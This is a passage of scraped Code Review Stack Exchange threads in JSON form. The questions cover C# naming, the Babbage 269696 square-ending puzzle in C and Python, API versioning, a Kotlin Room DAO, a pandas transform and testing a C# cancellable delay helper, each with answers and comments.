"body": "Be careful to name something \"ListBoxDataSources\", because that way you're mixing UI and back-end. Even if you don't re-use that class anywhere else, it would IMHO be better to name it something more generic, e.g. EmployeeDataService. That the list of employees is static seems OK to me, but also look into making public properties `readonly`."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-28T21:10:05.950",
"Id": "503787",
"Score": "0",
"body": "\"but also look into making public properties readonly\" Is that where I declare the fields as private and pass in the values through public properties? I do plan on doing that eventually, even though I still don't understand the reason for it. I've heard many explanations, but the concept hasn't clicked in my head."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-29T08:04:50.407",
"Id": "503813",
"Score": "0",
"body": "https://docs.microsoft.com/en-us/dotnet/csharp/language-reference/keywords/readonly"
}
],
"meta_data": {
"CommentCount": "7",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-28T14:00:23.860",
"Id": "255324",
"ParentId": "255306",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-27T22:26:03.300",
"Id": "255306",
"Score": "2",
"Tags": [
"c#",
"design-patterns",
"winforms"
],
"Title": "This code loops through a GlobalEmployeesList, eliminates duplicate email and phone records for the selected employee, and populates listboxes"
}
|
255306
|
<pre><code>//the strategy of take the rest of division by 1e06 is
//to take the a number how 6 last digits are 269696
while (((square=current*current) % 1000000 != 269696) && (square<INT_MAX)) {
current++;
}
</code></pre>
<p>This is part of the "C" example on rosettacode.org. The comments, and not only them, more belong to <em>towerofbabel.disorg!</em></p>
<p>But rosettacode has a very nice presentation:</p>
<p><strong>What is the smallest positive integer whose square ends in the digits 269,696?</strong></p>
<p>...Babbage asked in a letter, to give an example of what his yet-to-build engine could be working on.</p>
<blockquote>
<p>He thought the answer might be 99,736, whose square is 9,947,269,696;
but he couldn't be certain.</p>
</blockquote>
<p>I hope this is all true, because the story is almost too good: I really wonder how he got at this solution; it is correct, but there is a much smaller one.</p>
<p>It is suggested you write it as if for Mr. Babbage himself, who seems to have a clever pen-and-paper method, and who knows the basics (only the basics, but very well).</p>
<p>I found some rare programs that only check roots ending on 4 or 6, because the end of the <code>269696</code> ending is a <code>6</code>. I extended this keenly to endings 64 and 36, which both only give squares ending on <code>96</code>.</p>
<p>Here is my code. I turned it around and first calculate an <em><strong>approximate root</strong></em> for every number with that ending. At least I treat it as approximate.</p>
<p>My main Q is about the rounding and the way I assign and use <code>babb</code> and <code>diff</code>. Before I used <code>round()</code> it was not really working; now I removed all casts and it seems to work.</p>
<pre><code>/* "Babbage Problem"
= (Smallest) number whose square ends in ...269696 ? */
/* The root must end on 4 or 6 to give ending 6,
but also on 36 or 64 to give ending 96 ?!? */
#include <stdio.h>
#include <math.h>
int main() {
const int ENDING = 269696;
const int EXPMAX = 38;
const double mu = 0.001;
long n,
babb; /* nearest integer to root */
double root, /* approximation, unless sqrt() is used */
diff, /* between root and babb */
modroot; /* root wuth last int digits only */
for (n = ENDING; n < 1L<<EXPMAX; n += 1000*1000) {
/* sqrt() is faster than exp(log()/2) and has no fraction/diff at all if really integer */
root = exp(log(n)/2);
//root = sqrt((double)n);
babb = round(root);
diff = root - babb;
/* mod 100 with 36 and 64, or mod 10 with 4 and 6 */
modroot = babb % 100 + diff;
if (fabs(36 - modroot) < mu ||
fabs(64 - modroot) < mu ) {
/* Check with integer division */
if (n % babb == 0)
putchar('*');
else
putchar(' ');
printf("%16ld %20.12f %12ld %20.12f\n", n, root, babb, diff);
}
}
return 0;
}
</code></pre>
<p>Output:</p>
<pre><code>* 638269696 25264.000000000004 25264 0.000000000004
* 9947269696 99735.999999999927 99736 -0.000000000073
* 22579269696 150263.999999999971 150264 -0.000000000029
* 50506269696 224735.999999999884 224736 -0.000000000116
55020269696 234563.999147354130 234564 -0.000852645870
70456269696 265435.999246522610 265436 -0.000753477390
* 75770269696 275263.999999999942 275264 -0.000000000058
* 122315269696 349736.000000000175 349736 0.000000000175
129286269696 359563.999443770794 359564 -0.000556229206
152440269696 390435.999487752211 390436 -0.000512247789
* 160211269696 400264.000000000058 400264 0.000000000058
* 225374269696 474735.999999999651 474736 -0.000000000349
234802269696 484563.999587257451 484564 -0.000412742549
265674269696 515435.999611978768 515436 -0.000388021232
</code></pre>
<p>So Babbage's pen-and-paper <code>99736</code> is the second one, being at 9947 million. But the first one is after 638 iterations/millions. He came from somewhere else. This is with <code>exp(log())</code>.</p>
<p>The near misses (no stars) are also interesting. With a smaller <code>mu</code>, <code>n</code> up to 2^46 and <code>sqrt()</code> the last lines are:</p>
<pre><code> * 67646282269696 8224736.000000000000 8224736 0.000000000000
67808044269696 8234563.999975712039 8234564 -0.000024287961
68317432269696 8265435.999975803308 8265436 -0.000024196692
* 68479994269696 8275264.000000000000 8275264 0.000000000000
* 69718091269696 8349736.000000000000 8349736 0.000000000000
69882310269696 8359563.999976075254 8359564 -0.000023924746
</code></pre>
<p>Does <code>sqrt()</code> always return <code>.00000</code> ?</p>
<p>Is there something like <code>exp(log()/2)</code> but even simpler?</p>
<p>I only need 3 or 4 significant digits around the decimal point. An imprecise but specialized square root (or log) function. I don't really understand that "binary estimation" for the <strong>seed value</strong>. How can I think about <code>2^n</code> without <code>log2()</code>?</p>
|
[] |
[
{
"body": "<p>I'd say that this problem is designed to exercise <em>choosing the right tool for the job.</em> Here's a Python program that produces your same list of integers in about 0.4 seconds:</p>\n<pre><code>for i in range(1000000):\n if (i*i) % 1000000 == 269696:\n print(i)\n</code></pre>\n<p>And here's the corresponding C program, which produces that output in 0.02 seconds:</p>\n<pre><code>#include <stdio.h>\n\nint main() {\n for (size_t i=0; i < 1000000; ++i) {\n if ((i*i) % 1000000 == 269696) {\n printf("%zu\\n", i);\n }\n }\n}\n</code></pre>\n<p>There's no reason to use floating-point arithmetic here at all.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-28T07:59:18.593",
"Id": "503737",
"Score": "0",
"body": "Yes for high numbers this gets much faster. Thank you for pointing this out. Still I believe there should be a method to get the first (few) solutions that is more gentle on the engine."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-28T13:37:47.280",
"Id": "503750",
"Score": "0",
"body": "(A) Define \"gentle on the engine.\" You can't get much gentler than a single MUL and a single DIV! At some point, the cost of starting up the process exceeds the cost of the loop. (B) There are no \"higher numbers\"; after `i=1'000'000` the pattern just repeats forever. `1025264, 1099736, 1150264` and so on. The high-order digits of the multiplicands never affect the low-order digits of the product."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-28T13:55:35.407",
"Id": "503751",
"Score": "0",
"body": "Here's a variation of this problem that would require quite a bit more algorithmic cleverness: Allow the user to _input_ a string of digits, of arbitrary length. Efficiently find the least positive integer whose square ends in that string of digits, and print it out (or if no such integer exists, print out `None`). This can be solved in the same trivial brute-force way for short strings, but if the user enters a string of 1000 digits, _then_ what do you do?"
}
],
"meta_data": {
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-28T02:21:14.353",
"Id": "255313",
"ParentId": "255307",
"Score": "2"
}
},
{
"body": "<p>To make a fair race, I change the challenge from "smallest" to "up to the known 99736".</p>\n<p>The proposed integer method (squaring each integer):</p>\n<pre><code>#include <stdio.h>\nint main() {\n for (size_t i = 0; i < 100000; ++i) {\n if ((i*i) % 1000000 == 269696)\n printf("%zu %ld\\n", i*i, i);\n }\n}\n</code></pre>\n<p>is much faster in the long run: after some avoidable first increments the steps increase quadratically.</p>\n<p>This is 100000 loops with a multiplication and a int division.</p>\n<hr />\n<p>Here a much simplified version of the OP. All the digit-magic is gone; now only the fraction of <code>sqrt()</code> is checked for zero.</p>\n<pre><code>#include <stdio.h>\n#include <math.h>\nint main() {\n for (int i = 0; i < 10000; i++) {\n double n = (double) i * 1000000 + 269696;\n double root = sqrt(n);\n if (root - floor(root) == 0)\n printf("%f %f\\n", n, root);\n }\n}\n</code></pre>\n<p>This is only 10000 loops (10x less), but now a <code>sqrt()</code> call plus <code>floor()</code> and a multiplication-addition.</p>\n<p>Without optimization, it is 1.5 MCycles and 2.4 MInsn for int vs. 1.3 MCycles and 1.3 MInsn for the double/sqrt() version.</p>\n<p>With optimization, it is 1.1/1.8 vs. 1.1/1.0. The int-version does it with 3 magic numbers and two IMUL. The double-version uses <code>vfmadd123sd</code>, <code>vsqrtsd</code> and <code>vroundsd</code>.</p>\n<p>One Million cycles is not much above the 0.6 MCycles an empty return has.</p>\n<hr />\n<p><strong>Benchmark</strong> (linux <code>perf stat</code>)\nFor searching up to known 99736^2.</p>\n<pre><code>EMPTY\n0.18 msec task-clock\n 44 page-faults\n 687207 cycles\n 604901 instructions\n\n\nINT, 1000 + *36/*64\n0.23 msec task-clock\n 51 page-faults\n 865629 cycles\n 755118 instructions\n\n\nINT\n0.41 msec task-clock\n 52 page-faults\n1189202 cycles\n1863058 instructions\n\n\nFLOAT, floor()/sqrt()\n0.32 msec task-clock\n 64 page-faults\n1132490 cycles\n1081791 instructions\n</code></pre>\n<p>The timings vary quite a bit, the other parameters are stable.</p>\n<p>So the minimum is 150000 instructions for the calculation alone. A mechanical engine could maybe do one of these per second -> 40 hours.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-29T18:44:16.267",
"Id": "255379",
"ParentId": "255307",
"Score": "0"
}
},
{
"body": "<p>Further enhancing the answer from <a href=\"/users/16369\">Quuxplusone</a>, for this particular number, we can do better. Since the last digit of the square is 6, the last digit of the number we're seeking must be either be 4 (because <span class=\"math-container\">\\$4 \\times 4 = 16\\$</span>) or 6 (because <span class=\"math-container\">\\$6 \\times 6 = 36\\$</span>). We could therefore step through by tens and just check <span class=\"math-container\">\\$i+4\\$</span> and <span class=\"math-container\">\\$i+6\\$</span>.</p>\n<p>Further, we could extend our observation to the last <em>two</em> digits, and conclude that the only numbers under 100 (that is, the last <em>two</em> digits of the number we seek) must be in the set <span class=\"math-container\">\\$\\{ 14, 36, 64, 86 \\}\\$</span>.</p>\n<p>If we go to <em>three</em> digits, we can easily calculate that the "magic numbers" are the set <span class=\"math-container\">\\$\\{236, 264, 736, 764\\}\\$</span>.</p>\n<p>You may now be able to discern a pattern to this which suggests a strategy for creating a set of numbers, one digit at a time for any arbitrary input, which is likely the kind of application Babbage would have had in mind.</p>\n<p>Meanwhile, here is a version of the program that steps through in steps of 1000 using the observation noted above.</p>\n<pre><code>#include <stdio.h>\n\nint main() {\n const size_t limit = 1000000;\n const size_t sought = 269696 % limit;\n const size_t num_factors = 4;\n const size_t factors[4] = {236, 264, 736, 764};\n for (size_t i=0; i < limit; i+=1000) {\n for (size_t j=0; j < num_factors; ++j) {\n if ((i+factors[j])*(i+factors[j]) % limit == sought) {\n printf("%zu\\n", i+factors[j]);\n break;\n }\n }\n }\n}\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-30T11:26:29.957",
"Id": "503907",
"Score": "0",
"body": "This runs with far less instructions: 0.7 million. Also much less cycles, even though Insn/Cyc drops from 1.5 to 0.8. How to \"easily\" find out \"36\" and \"64\" (or some more digits) I don't know - but this is how find the candidate \"i\" values."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-29T21:33:50.873",
"Id": "255390",
"ParentId": "255307",
"Score": "1"
}
},
{
"body": "<p>Trying only 4 and 6 as last digit is good, but generalize that. Here are the possible suffixes of length k (up to k=4) whose square's last k digits match the ending's last k digits:</p>\n<pre><code>['4', '6']\n['14', '36', '64', '86']\n['236', '264', '736', '764']\n['0264', '2236', '2764', '4736', '5264', '7236', '7764', '9736']\n</code></pre>\n<p>From one row to the next, just try prepending all ten digits. So that's less than 200 candidates checked overall.</p>\n<p>Code in Python (cause I'm not good with C++ and find Python more convenient), where <code>X</code> is the feasible current-length candidates (one row of numbers above) and <code>Y</code> is the feasible next-length candidates (the next row of numbers above):</p>\n<pre><code>def find(ending):\n X = ['']\n for _ in ending:\n Y = []\n for d in '0123456789':\n for x in X:\n y = d + x\n diff = int(y)**2 - int(ending)\n if diff % 10**len(ending) == 0:\n return y\n if diff % 10**len(y) == 0:\n Y.append(y)\n X = Y\n</code></pre>\n<p>I got the above numbers with <code>print(X)</code> after <code>X = Y</code>. Btw, I used a <em>string</em> for the ending in order to support endings with leading zeros.</p>\n<p>Gets the right result:</p>\n<pre><code>>>> print(find('269696'))\n25264\n</code></pre>\n<p>Takes about 0.2 milliseconds:</p>\n<pre><code>>>> from timeit import repeat\n>>> min(repeat(lambda: find('269696'), number=1000))\n0.17412930000000415\n</code></pre>\n<p>Let's try an ending with 1000 digits (let's use the last 1000 digits of the square of a 1000-digit number so we know there actually is one).</p>\n<p>Generate a random 1000-digit number:</p>\n<pre><code>>>> from random import choices\n>>> number = ''.join(choices('0123456789', k=1000))\n>>> print(number)\n1156056455624257225955872035201214691006595145219844656980665717349403120256587282858886139928818168889056678274559582695382768281511078961968647169124110871365228044317769755270354573713021585706996401306577825508909216324625998757144436400655852890193036876196921071300548425790632064747825342606659378536473788547509558903348718167193180664793542345663888728752290459372909035659742498053509190091974765883198365483916230584068503322777312459485440723155200856044901787943766051988991985435256195042240732258957867686817879357284366856095178409538888706246559132534664713056847707598589730007644360241615749455839013463103682999029896682439653965149015108924081584096415553989093066028023595374172445438135240347554609778693630891069703196865689855438544555555799804579183341767836252011940073965744747106456244773738754273584061407140659885957619926156633528244797652916787045489454471117724093937831453660114913272027549838767674294767256486252870894637865721363932406443242087432101959837360020\n</code></pre>\n<p>Compute the ending (last 1000 digits of the number's square):</p>\n<pre><code>>>> ending = str(int(number)**2)[-1000:]\n>>> print(ending)\n9711402600587427745988302560665025500224122879216062576562500636738114989569394394410846684909031503719965874918474541644636638936747834070972596715945620854297704783236430526540996559706038224364096027496321828666732731077858540852427999137011690156328486049321488331388228815499540627565923312307022561287002290565753273750181790921965287810176840209035881615450127376070167299285413883587860825344465016980053564463882372824662238009271617681330765535054795494173880921139584990327052237982244945241390908961476034118406389724498360402158742444956864760057745135725974216351071837650589448972402273066596080776026114420555459613679313224014915846321502904302356232013798013594176357933778183127611185068767641758467600608068786615797698424447640031564886252107517870604713635097109330613135137272002494091002222954754132970741532351670390969547193373358843629598739652766467933486058865210683787181767586383999133737043473391561281410505044750864575147620767559670531615365610971761730163094400400\n</code></pre>\n<p>Solve it:</p>\n<pre><code>>>> result = find(ending)\n>>> print(result)\n33372929299436207657735031568772173045716761235720621701781548946515464243581880853837398379847233553505721299913480097577102965469905374767247188164085427494831972740518302879031003200538758306256499335629675178397291061690781592876021815907404121044460026066227819292865188905222415244009848411883889340452152046952159234455966650774959450486140840675605835792526977448067937224591858177578160332116587196736222978457069255919941619026872112574358080383036593418565648109511787704515583376831191428047753194372537731748841427073169648415809969296868007328835892736462988540676241550357352439627654017660392047013394008962087807102148715068434272929553467899985129543443410577801829143913760090902229356045655578415251695264863797863916701191294491303928542026310551735933758302991779968009654496990612498331777862539245122503423301885393104361541534950429641149621954568027068379848233452475159576825376012665890045670120284197762574006974617636226415672227489437427520083334400721744293821735020\n</code></pre>\n<p>Took a bit less than a minute.</p>\n<p>Now that's a different number than we started with, but that's ok because we're looking for the <em>smallest</em> number whose square has that ending. Which it does:</p>\n<pre><code>>>> print(str(int(result)**2)[-1000:])\n9711402600587427745988302560665025500224122879216062576562500636738114989569394394410846684909031503719965874918474541644636638936747834070972596715945620854297704783236430526540996559706038224364096027496321828666732731077858540852427999137011690156328486049321488331388228815499540627565923312307022561287002290565753273750181790921965287810176840209035881615450127376070167299285413883587860825344465016980053564463882372824662238009271617681330765535054795494173880921139584990327052237982244945241390908961476034118406389724498360402158742444956864760057745135725974216351071837650589448972402273066596080776026114420555459613679313224014915846321502904302356232013798013594176357933778183127611185068767641758467600608068786615797698424447640031564886252107517870604713635097109330613135137272002494091002222954754132970741532351670390969547193373358843629598739652766467933486058865210683787181767586383999133737043473391561281410505044750864575147620767559670531615365610971761730163094400400\n>>> str(int(result)**2)[-1000:] == ending\nTrue\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-30T13:16:30.710",
"Id": "255413",
"ParentId": "255307",
"Score": "0"
}
}
] |
{
"AcceptedAnswerId": "255390",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-27T22:37:09.803",
"Id": "255307",
"Score": "2",
"Tags": [
"c"
],
"Title": "Babbage Problem - squares ending in digits 269696"
}
|
255307
|
<p>I have the following code:</p>
<pre><code>public class Car
{
public int numberOfWheels { get; set; }
public string colour { get; set; }
public Car(int numberOfWheels, string colour)
{
this.numberOfWheels = numberOfWheels;
this.colour = colour;
}
}
[Route("/")]
public class CarController: Controller
{
[Route("api/v1")]
[HttpGet]
public async Task<IEnumerable<Car>> Get()
{
return new List<Car> { new Car(4, "yellow") };
}
}
</code></pre>
<p>The above is an API call (<code>http://<host>/car/v1</code>) that results in a <code>List</code> of objects of type <code>Car</code> being retrieved and returned.</p>
<p>If I were to update the <code>Car</code> property to now capture Brand property:</p>
<pre><code>public class Car
{
public int numberOfWheels { get; set; }
public string colour { get; set; }
public string brand { get; set; } // Now capturing Brand
public Car(int numberOfWheels, string colour, string brand)
{
this.numberOfWheels = numberOfWheels;
this.colour = colour;
this.brand = brand;
}
}
</code></pre>
<p>Is this a strong enough momentum to warrant a new API version to be created to reflect the delta?</p>
<pre><code>[Route("api/v1/Car")]
[HttpGet]
public async Task<IEnumerable<object>> Get()
{
var listOfCars = (new List<Car> { new Car(4, "yellow", "Volvo") });
return listOfCars.Select(c => new { c.colour, c.numberOfWheels });
}
[Route("api/v1.1/Car")]
[HttpGet]
public async Task<IEnumerable<Car>> GetCarWithMoreProperties()
{
return new List<Car> { new Car(4, "yellow", "Volvo") };
}
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-28T01:26:40.053",
"Id": "503715",
"Score": "5",
"body": "I'm post this as a comment because this will probably be closed or moved from code review. Generally I would say no. Unless it breaks an existing client. Most consumers of the json result will just ignore extra properties coming back. If you removed a property then yes. If you add an new end point I would say no. It's all about is it a breaking change to existing clients. Now this is something of a business decision. This is probably better suited for the Software Engineering stack site then code review."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-01T12:59:50.457",
"Id": "504055",
"Score": "1",
"body": "The definition of [breaking change](https://en.wiktionary.org/wiki/breaking_change): *A change in one part of a software system that potentially causes other components to fail;*. It says that if your clients can't communicate with your API **without code change** then you have broken the backward compatibility. So, you have to separate that version from previous one. If your API is usable without any further adjustment on the client-side then you don't have to increase the version."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-03T12:22:12.577",
"Id": "504256",
"Score": "0",
"body": "@CharlesNRice: While it may feel like a pedantic distinction to what you were saying, I'd like to extend that \"version\" is a bit too ambiguous. You're correct that the _major_ version only changes for _breaking_ changes, but the minor version can be updated even if the change is not breaking. While APIs tend to only use major versioning, OP is specifically using `v1` and `v1.1`, which is a minor version upgrade, not a major one."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-03T16:14:34.633",
"Id": "504275",
"Score": "0",
"body": "@Flater I think that's a business decision, why I called that out in my first comment. For a lot of projects that would create a lot of versions and maintenance issues if every change was a new version even if minor version change. Some project that have infrequent changes or stable it might work but for teams that work in 2 week sprints this seems it could quickly get out of hand. Again maybe that's right call but there is more info needed to know if right call for each project/business."
}
] |
[
{
"body": "<p>In view the extra property is <em>highly unlikely</em> to cause a breaking change (unless for some reason the consumer tracks the <code>count</code> of properties returned from the API call for whatever reason), the answer is this extra property does not warrant the need to create an additional version.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-02T20:05:56.373",
"Id": "255517",
"ParentId": "255309",
"Score": "0"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "4",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-28T00:19:31.617",
"Id": "255309",
"Score": "-1",
"Tags": [
"c#",
"api"
],
"Title": "Adding a new class property == new API version?"
}
|
255309
|
<p>In my App i use Room database and i have three tables where two of them are connected.</p>
<p>The app just save the user input and insert it in the database. The user actually just insert as input a code and quantity but before inserting that value in my table i have to check if there is in another table (items get from an API) there is yet an item with that code and if it exist i have to set the description to the item the user is inserting from the item in another table get from the API.</p>
<p>Which practice would be the best to do so?</p>
<p>The tables of items get from the API are two:</p>
<p>one with the main item and the code and another that contains all secondary codes which belong to that item, so i have to check if the insert code is in the secondary code table and get it's primary, while if it's not i have to check if it's a primary code or if it's not i just add it without description.</p>
<p>My code looks like this (i have added all comments which specify what i'm doing)</p>
<p><strong>ArticoliDAO.kt</strong></p>
<pre><code>@Insert(onConflict = OnConflictStrategy.REPLACE)
suspend fun insert(articolo: Articolo)
@Update
suspend fun update(articolo: Articolo)
@Query("SELECT * FROM articoli_letti_table WHERE barcode = :key")
suspend fun get(key: String): Articolo?
@Query("UPDATE articoli_letti_table SET qta = qta + :qta WHERE barcode = :barcode")
suspend fun updateQuantity(qta: Float, barcode: String)
// Inserting the item if not exist in the table, else i'm updagint the quantity
suspend fun insertOrUpdate(articolo: Articolo) {
// here i check if the item exist in the table with items synched from my API
val prodotto = selectProdotto(articolo.barcode)
// if the item exist i update the description of the item the user is adding
// and i'm also multiply the quantity by default item quantity
if (prodotto != null) {
articolo.desc = prodotto.desc
articolo.qta = articolo.qta * prodotto.qta
}
// here i check if the item has been yet added
val itemFromDB = get(articolo.barcode)
if (itemFromDB == null) {
// adding the item if it's new
insert(articolo)
}else {
// else i sum the quantity of the old item with the new one
updateQuantity(articolo.qta, articolo.barcode)
}
}
@Query("SELECT codart FROM barcode_prodotti_table WHERE barcode = :barcode")
suspend fun getCodart(barcode: String): String?
@Query("SELECT * FROM prodotti_table WHERE codart = :barcode")
suspend fun getProdotto(barcode: String): Prodotto?
suspend fun selectProdotto(barcode: String): Prodotto? {
// here i check if the code insert by user exist in my barcode_table
// barcode_table contains all secondary codes of an item
val codart = getCodart(barcode)
return if (codart.isNullOrEmpty()) {
// if the secondary code doesn't exist i check if it's the primary code of the item and get it's object
getProdotto(barcode)
}else {
// else i get the item object by setting the primary code in the SELECT get previously or return null
val prodotto = getProdotto(codart)
prodotto
}
}
</code></pre>
<p>My code is working but i would know if it's okay to do so for the performance and if i could improve the code somewhere</p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-01T17:36:42.873",
"Id": "504074",
"Score": "0",
"body": "Not sure, but don't your two non-annotated functions need to be synchronized? Otherwise different threads/coroutines could make an unexpected decision between updating and inserting. I handle this by putting these sorts of functions in the repo layer and synchronizing them on a Mutex along with the relevant pass-through functions of the DAO. But I don't know if it's the best way to handle it."
}
] |
[] |
{
"AcceptedAnswerId": null,
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-28T09:06:07.917",
"Id": "255318",
"Score": "0",
"Tags": [
"android",
"kotlin"
],
"Title": "Best practice to change item based on RoomDB value before inserting it using Kotlin"
}
|
255318
|
<p>I have a pandas Series contain 0s and 1s. Now I want to convert all the 0s to 1s which come before the first 1, and rest of the 1s to 0s. I can achieve that using the below code:</p>
<pre><code>import pandas as pd
a = [0,0,1,0,0,1]
df = pd.Series(a)
flag = True
for i in range(df.shape[0]):
if (df[i]!=1) & flag:
df[i]=1
elif flag:
flag=False
else:
df[i]=0
print(df)
</code></pre>
<p>Final dataframe:</p>
<pre><code>[1,1,1,0,0,0]
</code></pre>
<p>But how can I optimize it? Perhaps by avoiding the for loop?</p>
|
[] |
[
{
"body": "<p>Use a combination of <code>Series.cummax()</code> and <code>Series.shift()</code></p>\n<pre><code>a = pd.Series([0,0,1,0,0,1])\n\na.cummax() # [0,0,1,1,1,1]\n\na.cummax().shift(fill_value=0) # [0,0,0,1,1,1]\n</code></pre>\n<p>Then "invert" the 0's and 1's</p>\n<pre><code>df = 1 - a.cummax().shift(fill_value=0) # [1,1,1,0,0,0]\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-02-01T17:51:10.197",
"Id": "255472",
"ParentId": "255319",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": "255472",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-28T10:00:19.603",
"Id": "255319",
"Score": "1",
"Tags": [
"python-3.x",
"pandas"
],
"Title": "Pandas transform series values until condition is met without for loop"
}
|
255319
|
<p>Whilst refactoring an app I'm working on I moved a piece of code from the business logic layer to a helper. The code in question is a fire and forget method that will execute a piece of code if it hasn't been cancelled after an amount of time.</p>
<p>The method looks like this:</p>
<pre class="lang-csharp prettyprint-override"><code>public async static void CancelAfter(int seconds, CancellationToken token, Action action)
{
try
{
await Task.Delay(seconds * 1000, token);
action.Invoke();
}
catch (TaskCanceledException)
{
//cancelled
}
catch (Exception ex)
{
//log error
}
}
</code></pre>
<p>If the token gets cancelled then the <code>TaskCancelledException</code> will throw, it not it will invoke the action which whatever class calling this helper will determine.</p>
<p>Now I call this code in a very important stage of my application when it loads and is trying to perform startup tasks. If for any reason the app fails to load (no internet, server is down) this code should be triggered. If my app loads successfully I want to forget about this code and move forward, hence why I code to make it a <code>void</code> fire & forget method.</p>
<p>I have written a series of tests to ensure this method performs as I'd expect it to (it does) BUT they involve waiting for the amount of time I put into method (5 seconds if I input 5). This adds a nice amount of overhead to running my tests as I like to test various scenarios and have multiple <code>[TestCase]</code> inputs.</p>
<p>An example of a test would be:</p>
<pre><code>[TestCase(1)]
[TestCase(5)]
[TestCase(15)]
[TestCase(60)]
public async Task TestCancelled(int seconds)
{
var tokenSource = new CancellationTokenSource();
var token = tokenSource.Token;
var action = new Mock<Action>();
action.Setup(m => m.Invoke()).Callback(OnSomething);
DelayHelper.CancelAfter(seconds, token, OnSomething);
tokenSource.Cancel();//In my test not cancelled method I would not call Cancel();
await Task.Delay(seconds * 1000);
action.Verify(m => m.Invoke(), Times.Never()); //Times.Once() when in the not cancelled test
}
void OnSomething()
{
//do something
}
</code></pre>
<p>I would almost like to how if there is a way I can mock the delay, like using Shims (which I can't seem to get working in my .NET Core Test Project...). Or maybe I should rework the code and use dependency inversion. Looking at the time taken to run my tests and the theoretical time taken if I passed a larger number to the method makes me think I'm missing something.</p>
<p>Would you consider my current approach acceptable? what can I improve about my approach to writing this sort of code?</p>
<p><em>The tests I wrote do pass and the code appears to work, the issue being that i've introduced an overhead for the execution of my tests which I'd like to try and avoid</em></p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-28T14:41:36.207",
"Id": "503755",
"Score": "2",
"body": "Just a side not, maybe you should rename `seconds` to `milliseconds` because if one is reading this code and seeing `seconds * 1000` one would think to never ever call it with e.g `60` like one of your test-setups suggest."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-28T14:45:20.593",
"Id": "503756",
"Score": "2",
"body": "Welcome to the site. Your question is not a real code review, since it doesn't contain the full real code that you want reviewed, and that makes it off topic. Please add the code, otherwise the question will be closed."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-28T14:47:10.027",
"Id": "503759",
"Score": "0",
"body": "@Donald.McLean I have provided the exact code of my helper class in the first example (omitting the logging that is specific to my application) and the unit test code which is what I was asking to code review. Its all there..."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-28T14:51:26.927",
"Id": "503762",
"Score": "0",
"body": "Is all the code working expected?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-28T14:51:42.993",
"Id": "503763",
"Score": "0",
"body": "I'm not the one who created the site standards for what constitutes a valid question. I'm just telling you that this isn't a site for asking about \"best practices\" and any posted code that is incomplete (\"// do something\") is going to get the question closed."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-28T14:52:54.200",
"Id": "503764",
"Score": "0",
"body": "@pacmaninbw The code works exactly as i'd expect it to, I'm looking to improve how I can test that the code is working as I'd expect without introducing massive delays in test execution, which are the current downsides of the implementation"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-28T14:55:21.303",
"Id": "503765",
"Score": "0",
"body": "What @Donald.McLean is referring to are the comment `// Do Something` we are looking for all the code to be complete."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-01-28T14:58:16.617",
"Id": "503766",
"Score": "1",
"body": "The code with the comment is my dummy action in the unit test. The method does not require any implementation in test, all that is required of it is that I verify whether it does or doesn't get called whilst running the test. That is actually what my code looks like that I copied over "
}
] |
[
{
